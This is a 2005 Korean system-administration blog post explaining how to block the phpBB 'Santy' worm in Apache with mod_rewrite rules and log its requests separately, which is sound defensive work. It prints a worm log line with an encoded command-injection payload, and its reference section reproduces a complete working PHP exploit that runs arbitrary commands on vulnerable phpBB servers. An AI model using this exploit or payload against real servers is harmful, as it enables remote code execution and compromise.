커피닉스, 시스템 엔지니어의 쉼터 커피향이 나는 *NIX
커피닉스
시스템/네트웍/보안을 다루는 곳
* HanIRC의 #coffeenix 방
[ 장비 및 회선 후원 ]
HOME > 네트워크(network) > 웹 서버(web, httpd, apache) 도움말
검색 : 사이트 WHOIS 웹서버 종류

WebDAV (7, 글 1, 자료 4)
웹서버 튜닝 (5, 글 4, 자료 2)
웹서버 사용 통계 자료 (2, 자료 1)
Apache SSL / mod_ssl (4, 글 3, 자료 2)

  아파치에서 phpBB웜 차단 및 별도 로그 저장 작성일 : 2005/02/19 00:07
 
  • 글쓴이 : 좋은진호 ( http://coffeenix.net/ )
  • 조회수 : 10580
          [ 이전화면 / 수정 ]   비밀번호 :     인쇄용 화면
      제  목 : 아파치에서 phpBB웜 차단 및 별도 로그 저장
    글쓴이 : 좋은진호(truefeel, http://coffeenix.net/ )
    글쓴일 : 2005.2.16(수)

    phpBB 2.0.11 이전 버전의 보안문제를 이용한 phpBB Worm(Santy 웜 등)의 공격이 여전히
    많이 시도되고 있다. phpBB를 최신 버전으로 업하는 것은 당연한 것이지만 지속적인 공격
    으로 시스템 로드를 잡아먹고 짜증나는 로그를 해결할 방법이 필요했다.

    1. phpBB 웜 공격 로그

    access log에는 다음과 같은 형태의 로그가 남는다. (한줄로)

     
    65.77.xxx.xx - - [30/Dec/2004:19:58:01 +0900] "GET /...경로.../viewtopic.php?p=1303&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)
    %252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)
    %252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)
    %252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527
    HTTP/1.0" 302 712 "-" "Mozilla/4.0"
     


    highlight= 변수로 넘어온 값을 phpBB의 viewtopic.php에서 urldecode()함수를 통해 보안상의
    문제를 열어두고 있는데 이를 악용한 것이다.
    웜의 다른 특징은 Agent가 "Mozilla/4.0"이라는 것이다. 단지 이 user agent인 경우를 차단
    면 정상적인 사용자의 접속을 차단하는 경우도 생길 수 있으므로 여기서는 URL을 통한 방법을
    사용할 것이다.

    2. 웜 차단과 로그는 별도 저장

    웜도 차단하면서 동시에 웹로그는 별도로 저장하는 httpd.conf 아파치 설정을 알아보자.

     
    RewriteEngine On

    RewriteCond %{QUERY_STRING} ^[a-z]{1}=(.*)highlight=\%2527\%252E
    RewriteRule ^.*$ http://127.0.0.1/ [R,L,E=phpbb:1]

    CustomLog logs/phpbb_worm_log    common env=phpbb
     


    아파치에서는 URL Rewriting 설정을 통해 특정 URL로 요청된 것을 내부의 다른 페이지로
    넘길 수도 있고 전혀 다른 사이트의 페이지로 보낼 수도 있다. 또한 조건에 맞는 URL이면
    이를 아파치 내의 변수값으로 지정도 가능하다.
    아파치의 Rewriting rule에 대한 자세한 글은 Apache 홈페이지의 "URL Rewriting Guide"
    를 읽어보기 바라고, 설정에 대해 한줄씩 알아보기로 하자.

    첫번째줄은 URL rewriting의 시작을 알린다.

    두번째줄은 조건문이다. URI(쿼리)중에 위와 같은 URL이 형태인 경우인지를 비교하게된다.
    즉, 로그의 첫부분인 다음과 같은 부분에 해당된다.
     
    p=1303&highlight=%2527%252Esystem(...
    t=1303&highlight=%2527%252Esystem(...
     


    세번째줄은 조건이 맞는 경우에 어떻게 처리할 것인지를 정의한 것인데,
    웜으로 판단되면 요청을 http://127.0.0.1/ 으로 넘겨버린다. 즉 웜 자신에게 요청을
    넘기게 되는 것이다. 여기서 또 하나 중요한 부분이 'E=phpbb:1' 이다.
    환경변수 phpbb에 1이라는 값을 넣으라는 것이다. 이 것은 로그를 별도로 저장하기 위한
    안내자 역할을 하게 된다.

    네번째줄은 환경변수 phpbb로 정의된 요청은 logs/phpbb_worm_log 에 로그를 남기라는 것이다.

    자~ 이제 짜증나는 저 웜을 한방에 날려버리세요.

    3. 참고 자료

    * Apache 1.3 URL Rewriting Guide
      http://httpd.apache.org/docs/misc/rewriteguide.html

    * phpBB Worm 차단에 대해 (글 Raymond Dijkxhoorn)
      http://www.securityfocus.com/archive/1/385103

    * phpBB의 highlight 변수의 보안문제에 대해
      http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

    * phpBB Remote Command Execution (Viewtopic.php Highlight)
      http://www.securiteam.com/unixfocus/6J00O15BPS.html

      Exploit Code :
      
     
    #!/usr/bin/php -q
    /*
    # phpBB 2.0.10 execute command by pokleyzz
    # 15th November 2004 : 4:04 a.m
    #
    # bug found by How Dark (http://www.howdark.com) (1st October 2004)
    #
    # Requirement:
    #
    # PHP 4.x with curl extension;
    #
    # ** Selamat Hari Raya **
    */

    if (!(function_exists('curl_init'))) {
        echo "cURL extension required\n";
        exit;
    }

    if ($argv[2]){
        $url = $argv[1];
        $command = $argv[2];
    }
    else {
        echo "Usage: ".$argv[0]." [topic id] [proxy]\n\n";
        echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n";
        echo "\tcommand\t command to execute on server (ex: 'ls -la')\n";
        echo "\ttopic_id\t topic id\n";
        echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
        exit;
    }
    if ($argv[3])
        $topic = $argv[3];
    else
        $topic = 1;

    if ($argv[4])
        $proxy = $argv[4];


    $cmd = str2chr($command);

    $action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";
    $ch=curl_init();
    if ($proxy){
        curl_setopt($ch, CURLOPT_PROXY,$proxy);
    }
    curl_setopt($ch, CURLOPT_URL,$url.$action);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    $res=curl_exec ($ch);
    curl_close ($ch);
    echo $res;

    function str2chr($str){

        for($i = 0;$i < strlen($str);$i++){
            $chr .= "chr(".ord($str{$i}).")";
            if ($i != strlen($str) -1)
                 $chr .= "%252e";
        }
        return $chr;
    }
    ?>
     


    * Using the [E=VAR:VAL] flag to pass a variable to CGI
      http://www.webmasterworld.com/forum92/2631.htm
      커피닉스 카페 최근 글
    [08/25] #gpt_question_subje
    [08/20] From what I've seen
    [08/14] сайт
    [06/16] [질문]SAN 스위치 브로드케이드 dcx8510-4 장비관련입니다.
    [04/22] Re: 영화속에 컴퓨터 이야기 ~스워드피쉬(2001)
    [10/20] Cross Compiler 깔
    [07/14] SSL АО
    [04/26] Re: 도스화면 원격조종 여부
    [04/25] 도스화면 원격조종 여부
    [10/30] Cshell에서 난수 설정
    [10/23] 공항철도주식회사 SE 구인 件
    [01/26] Re: wget으로 다른서버에있는 디렉토리를 가져오려고합니다.
    [01/25] wget으로 다른서버에있는 디렉토리를 가져오려고합니다.
    [01/11] 특정 안드로이드 WebView 버전에서 SSL 문제 (WebView 버그)
    [08/01] DNS forwarder (전달자) 서버를 통해서 쿼리하면 역방향을 받아오질 못합니다.
      New!   최근에 등록한 페이지
      KiCad EDA Suite project (Free/Libre/Open-Source EDA Suite) (CAD)
      오픈캐스케이드 캐드 (OpenCASCADE CAD)
      QCad for Windows --- GNU GPL (Free Software)
      The Hello World Collection
      IPMI를 활용한 리눅스 서버관리
      DNS 설정 검사
      nagiosgraph 설치 방법
      Slony-I 설치 방법 (postgresql replication tool)
      Qmail기반의 Anti spam 시스템 구축하기
      clusterssh

    [ 함께하는 사이트 ]




    운영진 : 좋은진호(truefeel), 야수(yasu), 범냉이, sCag
    2003년 8월 4일~